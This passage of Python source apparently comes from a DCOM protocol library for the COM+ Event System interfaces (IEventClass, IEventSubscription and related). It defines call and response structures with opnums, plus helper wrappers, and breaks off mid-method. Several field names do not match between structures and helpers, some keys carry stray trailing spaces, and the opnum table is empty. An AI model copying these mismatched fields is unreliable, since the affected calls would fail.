# 3.1.4.3.8 put_FireInParallel (Opnum 28)
class IEventClass2_put_FireInParallel(DCOMCALL):
opnum = 28
structure = (
('pfFireInParallel', BOOLEAN),
)
class IEventClass2_put_FireInParallelResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.4 IEventSubscription
# 3.1.4.4.1 get_SubscriptionID (Opnum 7)
class IEventSubscription_get_SubscriptionID(DCOMCALL):
opnum = 7
structure = (
)
class IEventSubscription_get_SubscriptionIDResponse(DCOMANSWER):
structure = (
('pbstrSubscriptionID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.2 put_SubscriptionID (Opnum 8)
class IEventSubscription_put_SubscriptionID(DCOMCALL):
opnum = 8
structure = (
('bstrSubscriptionID', BSTR),
)
class IEventSubscription_put_SubscriptionIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.3 get_SubscriptionName (Opnum 9)
class IEventSubscription_get_SubscriptionName(DCOMCALL):
opnum = 9
structure = (
)
class IEventSubscription_get_SubscriptionNameResponse(DCOMANSWER):
structure = (
('pbstrSubscriptionName', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.4 put_SubscriptionName (Opnum 10)
class IEventSubscription_put_SubscriptionName(DCOMCALL):
opnum = 10
structure = (
('strSubscriptionID', BSTR),
)
class IEventSubscription_put_SubscriptionNameResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.5 get_PublisherID (Opnum 11)
class IEventSubscription_get_PublisherID(DCOMCALL):
opnum = 11
structure = (
)
class IEventSubscription_get_PublisherIDResponse(DCOMANSWER):
structure = (
('pbstrPublisherID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.6 put_PublisherID (Opnum 12)
class IEventSubscription_put_PublisherID(DCOMCALL):
opnum = 12
structure = (
('bstrPublisherID', BSTR),
)
class IEventSubscription_put_PublisherIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.7 get_EventClassID (Opnum 13)
class IEventSubscription_get_EventClassID(DCOMCALL):
opnum = 13
structure = (
)
class IEventSubscription_get_EventClassIDResponse(DCOMANSWER):
structure = (
('pbstrEventClassID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.8 put_EventClassID (Opnum 14)
class IEventSubscription_put_EventClassID(DCOMCALL):
opnum = 14
structure = (
('bstrEventClassID', BSTR),
)
class IEventSubscription_put_EventClassIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.9 get_MethodName (Opnum 15)
class IEventSubscription_get_MethodName(DCOMCALL):
opnum = 15
structure = (
)
class IEventSubscription_get_MethodNameResponse(DCOMANSWER):
structure = (
('pbstrMethodName', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.10 put_MethodName (Opnum 16)
class IEventSubscription_put_MethodName(DCOMCALL):
opnum = 16
structure = (
('bstrMethodName', BSTR),
)
class IEventSubscription_put_MethodNameResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.11 get_SubscriberCLSID (Opnum 17)
class IEventSubscription_get_SubscriberCLSID(DCOMCALL):
opnum = 17
structure = (
)
class IEventSubscription_get_SubscriberCLSIDResponse(DCOMANSWER):
structure = (
('pbstrSubscriberCLSID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.12 put_SubscriberCLSID (Opnum 18)
class IEventSubscription_put_SubscriberCLSID(DCOMCALL):
opnum = 18
structure = (
('bstrSubscriberCLSID', BSTR),
)
class IEventSubscription_put_SubscriberCLSIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.13 get_SubscriberInterface (Opnum 19)
class IEventSubscription_get_SubscriberInterface(DCOMCALL):
opnum = 19
structure = (
)
class IEventSubscription_get_SubscriberInterfaceResponse(DCOMANSWER):
structure = (
('ppSubscriberInterface', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.4.14 put_SubscriberInterface (Opnum 20)
class IEventSubscription_put_SubscriberInterface(DCOMCALL):
opnum = 20
structure = (
('pSubscriberInterface', PMInterfacePointer),
)
class IEventSubscription_put_SubscriberInterfaceResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.15 get_PerUser (Opnum 21)
class IEventSubscription_get_PerUser(DCOMCALL):
opnum = 21
structure = (
)
class IEventSubscription_get_PerUserResponse(DCOMANSWER):
structure = (
('pfPerUser', BOOLEAN),
('ErrorCode', error_status_t),
)
# 3.1.4.4.16 put_PerUser (Opnum 22)
class IEventSubscription_put_PerUser(DCOMCALL):
opnum = 22
structure = (
('fPerUser', BOOLEAN),
)
class IEventSubscription_put_PerUserResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.17 get_OwnerSID (Opnum 23)
class IEventSubscription_get_OwnerSID(DCOMCALL):
opnum = 23
structure = (
)
class IEventSubscription_get_OwnerSIDResponse(DCOMANSWER):
structure = (
('pbstrOwnerSID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.18 put_OwnerSID (Opnum 24)
class IEventSubscription_put_OwnerSID(DCOMCALL):
opnum = 24
structure = (
('bstrOwnerSID', BSTR),
)
class IEventSubscription_put_OwnerSIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.19 get_Enabled (Opnum 25)
class IEventSubscription_get_Enabled(DCOMCALL):
opnum = 25
structure = (
)
class IEventSubscription_get_EnabledResponse(DCOMANSWER):
structure = (
('pfEnabled', BOOLEAN),
('ErrorCode', error_status_t),
)
# 3.1.4.4.20 put_Enabled (Opnum 26)
class IEventSubscription_put_Enabled(DCOMCALL):
opnum = 26
structure = (
('fEnabled', BOOLEAN),
)
class IEventSubscription_put_EnabledResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.21 get_Description (Opnum 27)
class IEventSubscription_get_Description(DCOMCALL):
opnum = 27
structure = (
)
class IEventSubscription_get_DescriptionResponse(DCOMANSWER):
structure = (
('pbstrDescription', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.22 put_Description (Opnum 28)
class IEventSubscription_put_Description(DCOMCALL):
opnum = 28
structure = (
('bstrDescription', BSTR),
)
class IEventSubscription_put_DescriptionResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.23 get_MachineName (Opnum 29)
class IEventSubscription_get_MachineName(DCOMCALL):
opnum = 29
structure = (
)
class IEventSubscription_get_MachineNameResponse(DCOMANSWER):
structure = (
('pbstrMachineName', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.24 put_MachineName (Opnum 30)
class IEventSubscription_put_MachineName(DCOMCALL):
opnum = 30
structure = (
('bstrMachineName', BSTR),
)
class IEventSubscription_put_MachineNameResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.25 GetPublisherProperty (Opnum 31)
class IEventSubscription_GetPublisherProperty(DCOMCALL):
opnum = 31
structure = (
('bstrPropertyName', BSTR),
)
class IEventSubscription_GetPublisherPropertyResponse(DCOMANSWER):
structure = (
('propertyValue', VARIANT),
('ErrorCode', error_status_t),
)
# 3.1.4.4.26 PutPublisherProperty (Opnum 32)
class IEventSubscription_PutPublisherProperty(DCOMCALL):
opnum = 32
structure = (
('bstrPropertyName', BSTR),
('propertyValue', VARIANT),
)
class IEventSubscription_PutPublisherPropertyResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.27 RemovePublisherProperty (Opnum 33)
class IEventSubscription_RemovePublisherProperty(DCOMCALL):
opnum = 33
structure = (
('bstrPropertyName', BSTR),
)
class IEventSubscription_RemovePublisherPropertyResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.28 GetPublisherPropertyCollection (Opnum 34)
class IEventSubscription_GetPublisherPropertyCollection(DCOMCALL):
opnum = 34
structure = (
)
class IEventSubscription_GetPublisherPropertyCollectionResponse(DCOMANSWER):
structure = (
('collection', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.4.29 GetSubscriberProperty (Opnum 35)
class IEventSubscription_GetSubscriberProperty(DCOMCALL):
opnum = 35
structure = (
('bstrPropertyName', BSTR),
)
class IEventSubscription_GetSubscriberPropertyResponse(DCOMANSWER):
structure = (
('propertyValue', VARIANT),
('ErrorCode', error_status_t),
)
# 3.1.4.4.30 PutSubscriberProperty (Opnum 36)
class IEventSubscription_PutSubscriberProperty(DCOMCALL):
opnum = 36
structure = (
('bstrPropertyName', BSTR),
('propertyValue', VARIANT),
)
class IEventSubscription_PutSubscriberPropertyResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.31 RemoveSubscriberProperty (Opnum 37)
class IEventSubscription_RemoveSubscriberProperty(DCOMCALL):
opnum = 37
structure = (
('bstrPropertyName', BSTR),
)
class IEventSubscription_RemoveSubscriberPropertyResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.4.32 GetSubscriberPropertyCollection (Opnum 38)
class IEventSubscription_GetSubscriberPropertyCollection(DCOMCALL):
opnum = 38
structure = (
)
class IEventSubscription_GetSubscriberPropertyCollectionResponse(DCOMANSWER):
structure = (
('collection', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.4.33 get_InterfaceID (Opnum 39)
class IEventSubscription_get_InterfaceID(DCOMCALL):
opnum = 39
structure = (
)
class IEventSubscription_get_InterfaceIDResponse(DCOMANSWER):
structure = (
('pbstrInterfaceID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.4.34 put_InterfaceID (Opnum 40)
class IEventSubscription_put_InterfaceID(DCOMCALL):
opnum = 40
structure = (
('bstrInterfaceID', BSTR),
)
class IEventSubscription_put_InterfaceIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.5 IEnumEventObject
# 3.1.4.5.1 Clone (Opnum 3)
class IEnumEventObject_Clone(DCOMCALL):
opnum = 3
structure = (
)
class IEnumEventObject_CloneResponse(DCOMANSWER):
structure = (
('ppInterface', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.5.2 Next (Opnum 4)
class IEnumEventObject_Next(DCOMCALL):
opnum = 4
structure = (
('cReqElem', ULONG),
)
class IEnumEventObject_NextResponse(DCOMANSWER):
structure = (
('ppInterface', OBJECT_ARRAY),
('cRetElem', ULONG),
('ErrorCode', error_status_t),
)
# 3.1.4.5.3 Reset (Opnum 5)
class IEnumEventObject_Reset(DCOMCALL):
opnum = 5
structure = (
)
class IEnumEventObject_ResetResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.5.4 Skip (Opnum 6)
class IEnumEventObject_Skip(DCOMCALL):
opnum = 6
structure = (
('cSkipElem', ULONG),
)
class IEnumEventObject_SkipResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.6 IEventObjectCollection
# 3.1.4.6.1 get__NewEnum (Opnum 7)
class IEventObjectCollection_get__NewEnum(DCOMCALL):
opnum = 7
structure = (
)
class IEventObjectCollection_get__NewEnumResponse(DCOMANSWER):
structure = (
('ppUnkEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.6.2 get_Item (Opnum 8)
class IEventObjectCollection_get_Item(DCOMCALL):
opnum = 8
structure = (
('objectID', BSTR),
)
class IEventObjectCollection_get_ItemResponse(DCOMANSWER):
structure = (
('pItem', VARIANT),
('ErrorCode', error_status_t),
)
# 3.1.4.6.3 get_NewEnum (Opnum 9)
class IEventObjectCollection_get_NewEnum(DCOMCALL):
opnum = 9
structure = (
)
class IEventObjectCollection_get_NewEnumResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.4.6.4 get_Count (Opnum 10)
class IEventObjectCollection_get_Count(DCOMCALL):
opnum = 10
structure = (
)
class IEventObjectCollection_get_CountResponse(DCOMANSWER):
structure = (
('pCount', LONG),
('ErrorCode', error_status_t),
)
# 3.1.4.6.5 Add (Opnum 11)
class IEventObjectCollection_Add(DCOMCALL):
opnum = 11
structure = (
('item', VARIANT),
('objectID', BSTR),
)
class IEventObjectCollection_AddResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.6.6 Remove (Opnum 12)
class IEventObjectCollection_Remove(DCOMCALL):
opnum = 12
structure = (
('objectID', BSTR),
)
class IEventObjectCollection_RemoveResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.7 IEventClass3
# 3.1.4.7.1 get_EventClassPartitionID (Opnum 29)
class IEventClass3_get_EventClassPartitionID(DCOMCALL):
opnum = 29
structure = (
)
class IEventClass3_get_EventClassPartitionIDResponse(DCOMANSWER):
structure = (
('pbstrEventClassPartitionID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.7.2 put_EventClassPartitionID (Opnum 30)
class IEventClass3_put_EventClassPartitionID(DCOMCALL):
opnum = 30
structure = (
('bstrEventClassPartitionID', BSTR),
)
class IEventClass3_put_EventClassPartitionIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.7.3 get_EventClassApplicationID (Opnum 31)
class IEventClass3_get_EventClassApplicationID(DCOMCALL):
opnum = 31
structure = (
)
class IEventClass3_get_EventClassApplicationIDResponse(DCOMANSWER):
structure = (
('pbstrEventClassApplicationID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.7.4 put_EventClassApplicationID (Opnum 32)
class IEventClass3_put_EventClassApplicationID(DCOMCALL):
opnum = 32
structure = (
('bstrEventClassApplicationID', BSTR),
)
class IEventClass3_put_EventClassApplicationIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.8 IEventSubscription2
# 3.1.4.8.1 get_FilterCriteria (Opnum 41)
class IEventSubscription2_get_FilterCriteria(DCOMCALL):
opnum = 41
structure = (
)
class IEventSubscription2_get_FilterCriteriaResponse(DCOMANSWER):
structure = (
('pbstrFilterCriteria', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.8.2 put_FilterCriteria (Opnum 42)
class IEventSubscription2_put_FilterCriteria(DCOMCALL):
opnum = 42
structure = (
('bstrFilterCriteria', BSTR),
)
class IEventSubscription2_put_FilterCriteriaResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.8.3 get_SubscriberMoniker (Opnum 43)
class IEventSubscription2_get_SubscriberMoniker(DCOMCALL):
opnum = 43
structure = (
)
class IEventSubscription2_get_SubscriberMonikerResponse(DCOMANSWER):
structure = (
('pbstrMoniker', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.8.4 put_SubscriberMoniker (Opnum 44)
class IEventSubscription2_put_SubscriberMoniker(DCOMCALL):
opnum = 44
structure = (
('bstrMoniker', BSTR),
)
class IEventSubscription2_put_SubscriberMonikerResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.9 IEventSubscription3
# 3.1.4.9.1 get_EventClassPartitionID (Opnum 45)
class IEventSubscription3_get_EventClassPartitionID(DCOMCALL):
opnum = 45
structure = (
)
class IEventSubscription3_get_EventClassPartitionIDResponse(DCOMANSWER):
structure = (
('pbstrEventClassPartitionID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.9.2 put_EventClassPartitionID (Opnum 46)
class IEventSubscription3_put_EventClassPartitionID(DCOMCALL):
opnum = 46
structure = (
('bstrEventClassPartitionID', BSTR),
)
class IEventSubscription3_put_EventClassPartitionIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.9.3 get_EventClassApplicationID (Opnum 47)
class IEventSubscription3_get_EventClassApplicationID(DCOMCALL):
opnum = 47
structure = (
)
class IEventSubscription3_get_EventClassApplicationIDResponse(DCOMANSWER):
structure = (
('pbstrEventClassApplicationID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.9.4 put_EventClassApplicationID (Opnum 48)
class IEventSubscription3_put_EventClassApplicationID(DCOMCALL):
opnum = 48
structure = (
('bstrEventClassPartitionID', BSTR),
)
class IEventSubscription3_put_EventClassApplicationIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.9.5 get_SubscriberPartitionID (Opnum 49)
class IEventSubscription3_get_SubscriberPartitionID(DCOMCALL):
opnum = 49
structure = (
)
class IEventSubscription3_get_SubscriberPartitionIDResponse(DCOMANSWER):
structure = (
('pbstrSubscriberPartitionID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.9.6 put_SubscriberPartitionID (Opnum 50)
class IEventSubscription3_put_SubscriberPartitionID(DCOMCALL):
opnum = 50
structure = (
('bstrSubscriberPartitionID', BSTR),
)
class IEventSubscription3_put_SubscriberPartitionIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.1.4.9.7 get_SubscriberApplicationID (Opnum 51)
class IEventSubscription3_get_SubscriberApplicationID(DCOMCALL):
opnum = 51
structure = (
)
class IEventSubscription3_get_SubscriberApplicationIDResponse(DCOMANSWER):
structure = (
('pbstrSubscriberApplicationID', BSTR),
('ErrorCode', error_status_t),
)
# 3.1.4.9.8 put_SubscriberApplicationID (Opnum 52)
class IEventSubscription3_put_SubscriberApplicationID(DCOMCALL):
opnum = 52
structure = (
('bstrSubscriberApplicationID', BSTR),
)
class IEventSubscription3_put_SubscriberApplicationIDResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.10 IEventSystem2
# 3.1.4.10.1 GetVersion (Opnum 13)
class IEventSystem2_GetVersion(DCOMCALL):
opnum = 13
structure = (
)
class IEventSystem2_GetVersionResponse(DCOMANSWER):
structure = (
('pnVersion', INT),
('ErrorCode', error_status_t),
)
# 3.1.4.10.2 VerifyTransientSubscribers (Opnum 14)
class IEventSystem2_VerifyTransientSubscribers(DCOMCALL):
opnum = 14
structure = (
)
class IEventSystem2_VerifyTransientSubscribersResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# 3.1.4.11 IEventSystemInitialize
# 3.1.4.11.1 SetCOMCatalogBehaviour (Opnum 3)
class IEventSystemInitialize_SetCOMCatalogBehaviour(DCOMCALL):
opnum = 3
structure = (
('bRetainSubKeys', BOOLEAN),
)
class IEventSystemInitialize_SetCOMCatalogBehaviourResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
}
################################################################################
# HELPER FUNCTIONS AND INTERFACES
################################################################################
class IEventClass(IDispatch):
def __init__(self, interface):
IDispatch.__init__(self,interface)
self._iid = IID_IEventClass
def get_EventClassID(self):
request = IEventClass_get_EventClassID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_EventClassID(self,bstrEventClassID):
request = IEventClass_put_EventClassID()
request['bstrEventClassID'] = bstrEventClassID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_EventClassName(self):
request = IEventClass_get_EventClassName()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_EventClassName(self, bstrEventClassName):
request = IEventClass_put_EventClassName()
request['bstrEventClassName'] = bstrEventClassName
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_OwnerSID(self):
request = IEventClass_get_OwnerSID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_OwnerSID(self, bstrOwnerSID):
request = IEventClass_put_OwnerSID()
request['bstrOwnerSID'] = bstrOwnerSID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_FiringInterfaceID(self):
request = IEventClass_get_FiringInterfaceID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_FiringInterfaceID(self, bstrFiringInterfaceID):
request = IEventClass_put_FiringInterfaceID()
request['bstrFiringInterfaceID'] = bstrFiringInterfaceID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_Description(self):
request = IEventClass_get_Description()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_Description(self, bstrDescription):
request = IEventClass_put_Description()
request['bstrDescription'] = bstrDescription
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_TypeLib(self):
request = IEventClass_get_TypeLib()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_TypeLib(self, bstrTypeLib):
request = IEventClass_put_TypeLib()
request['bstrTypeLib'] = bstrTypeLib
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IEventClass2(IEventClass):
def __init__(self, interface):
IEventClass.__init__(self,interface)
self._iid = IID_IEventClass2
def get_PublisherID(self):
request = IEventClass2_get_PublisherID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_PublisherID(self, bstrPublisherID):
request = IEventClass2_put_PublisherID()
request['bstrPublisherID'] = bstrPublisherID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_MultiInterfacePublisherFilterCLSID(self):
request = IEventClass2_get_MultiInterfacePublisherFilterCLSID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_MultiInterfacePublisherFilterCLSID(self, bstrPubFilCLSID):
request = IEventClass2_put_MultiInterfacePublisherFilterCLSID()
request['bstrPubFilCLSID'] = bstrPubFilCLSID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_AllowInprocActivation(self):
request = IEventClass2_get_AllowInprocActivation()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_AllowInprocActivation(self, fAllowInprocActivation):
request = IEventClass2_put_AllowInprocActivation()
request['fAllowInprocActivation '] = fAllowInprocActivation
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_FireInParallel(self):
request = IEventClass2_get_FireInParallel()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_FireInParallel(self, fFireInParallel):
request = IEventClass2_put_FireInParallel()
request['fFireInParallel '] = fFireInParallel
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IEventClass3(IEventClass2):
def __init__(self, interface):
IEventClass2.__init__(self,interface)
self._iid = IID_IEventClass3
def get_EventClassPartitionID(self):
request = IEventClass3_get_EventClassPartitionID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_EventClassPartitionID(self, bstrEventClassPartitionID):
request = IEventClass3_put_EventClassPartitionID()
request['bstrEventClassPartitionID '] = bstrEventClassPartitionID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_EventClassApplicationID(self):
request = IEventClass3_get_EventClassApplicationID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_EventClassApplicationID(self, bstrEventClassApplicationID):
request = IEventClass3_put_EventClassApplicationID()
request['bstrEventClassApplicationID '] = bstrEventClassApplicationID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
class IEventSubscription(IDispatch):
def __init__(self, interface):
IDispatch.__init__(self,interface)
self._iid = IID_IEventSubscription
def get_SubscriptionID(self):
request = IEventSubscription_get_SubscriptionID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_SubscriptionID(self, bstrSubscriptionID):
request = IEventSubscription_put_SubscriptionID()
request['bstrSubscriptionID'] = bstrSubscriptionID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_SubscriptionName(self):
request = IEventSubscription_get_SubscriptionName()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
return resp
def put_SubscriptionName(self, bstrSubscriptionName):
request = IEventSubscription_put_SubscriptionName()
request['bstrSubscriptionName'] = bstrSubscriptionName
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_PublisherID(self):
request = IEventSubscription_get_PublisherID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_PublisherID(self, bstrPublisherID):
request = IEventSubscription_put_PublisherID()
request['bstrPublisherID'] = bstrPublisherID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_EventClassID(self):
request = IEventSubscription_get_EventClassID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_EventClassID(self, pbstrEventClassID):
request = IEventSubscription_put_EventClassID()
request['pbstrEventClassID'] = pbstrEventClassID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_MethodName(self):
request = IEventSubscription_get_MethodName()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_MethodName(self, bstrMethodName):
request = IEventSubscription_put_MethodName()
request['bstrMethodName'] = bstrMethodName
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_SubscriberCLSID(self):
request = IEventSubscription_get_SubscriberCLSID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_SubscriberCLSID(self, bstrSubscriberCLSID):
request = IEventSubscription_put_SubscriberCLSID()
request['bstrSubscriberCLSID'] = bstrSubscriberCLSID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_SubscriberInterface(self):
request = IEventSubscription_get_SubscriberInterface()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_SubscriberInterface(self, pSubscriberInterface):
request = IEventSubscription_put_SubscriberInterface()
request['pSubscriberInterface'] = pSubscriberInterface
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_PerUser(self):
request = IEventSubscription_get_PerUser()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_PerUser(self, fPerUser):
request = IEventSubscription_put_PerUser()
request['fPerUser'] = fPerUser
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_OwnerSID(self):
request = IEventSubscription_get_OwnerSID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_OwnerSID(self, bstrOwnerSID):
request = IEventSubscription_put_OwnerSID()
request['bstrOwnerSID'] = bstrOwnerSID
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_Enabled(self):
request = IEventSubscription_get_Enabled()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_Enabled(self, fEnabled):
request = IEventSubscription_put_Enabled()
request['fEnabled'] = fEnabled
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_Description(self):
request = IEventSubscription_get_Description()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_Description(self, bstrDescription):
request = IEventSubscription_put_Description()
request['bstrDescription'] = bstrDescription
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_MachineName(self):
request = IEventSubscription_get_MachineName()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_MachineName(self, bstrMachineName):
request = IEventSubscription_put_MachineName()
request['bstrMachineName'] = bstrMachineName
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def GetPublisherProperty(self):
request = IEventSubscription_GetPublisherProperty()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def PutPublisherProperty(self, bstrPropertyName, propertyValue):
request = IEventSubscription_PutPublisherProperty()
request['bstrPropertyName'] = bstrPropertyName
request['propertyValue'] = propertyValue
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def RemovePublisherProperty(self, bstrPropertyName):
request = IEventSubscription_RemovePublisherProperty()
request['bstrPropertyName'] = bstrPropertyName
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def GetPublisherPropertyCollection(self):
request = IEventSubscription_GetPublisherPropertyCollection()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def GetSubscriberProperty(self):
request = IEventSubscription_GetSubscriberProperty()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def PutSubscriberProperty(self, bstrPropertyName, propertyValue):
request = IEventSubscription_PutSubscriberProperty()
request['bstrPropertyName'] = bstrPropertyName
request['propertyValue'] = propertyValue
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def RemoveSubscriberProperty(self, bstrPropertyName):
request = IEventSubscription_RemoveSubscriberProperty()
request['bstrPropertyName'] = bstrPropertyName
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def GetSubscriberPropertyCollection(self):
request = IEventSubscription_GetSubscriberPropertyCollection()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def get_InterfaceID(self):
request = IEventSubscription_get_InterfaceID()
resp = self.request(request, iid = self._iid, uuid = self.get_iPid())
resp.dump()
return resp
def put_InterfaceID(self, bstrInterfaceID):
request = IEventSubscription_put_InterfaceID()
